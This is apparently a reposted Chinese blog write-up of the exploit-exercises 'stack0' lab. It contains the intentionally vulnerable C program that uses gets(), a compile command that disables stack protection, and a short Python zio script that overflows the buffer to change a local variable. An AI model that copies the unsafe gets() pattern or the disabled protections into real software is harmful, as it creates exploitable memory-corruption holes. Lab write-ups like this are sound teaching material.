标签:
来自于exploit-exercises.com
难度较低,主要是熟练Linux环境下的调试和编程。
stack0
1 #include <stdlib.h> 2 #include <unistd.h> 3 #include <stdio.h> 4 5 int main(int argc, char **argv) 6 { 7 volatile int modified; 8 char buffer[64]; 9 10 modified = 0; 11 gets(buffer); 12 13 if(modified != 0) { 14 printf("you have changed the ‘modified‘ variable\n"); 15 } else { 16 printf("Try again?\n"); 17 } 18 }
编译:
gcc -fno-stack-protector -z execstack stack1.c -o stack1
解:
简单的覆盖局部变量即可。学到的东西是nx真的会改变栈缓冲区布局。
exp:
1 from zio import * 2 io=zio(‘./stack1‘) 3 sc1=0x41*‘a‘ 4 io.writeline(sc1) 5 io.read()
stack1
标签:
原文地址:http://www.cnblogs.com/Ox9A82/p/5844204.html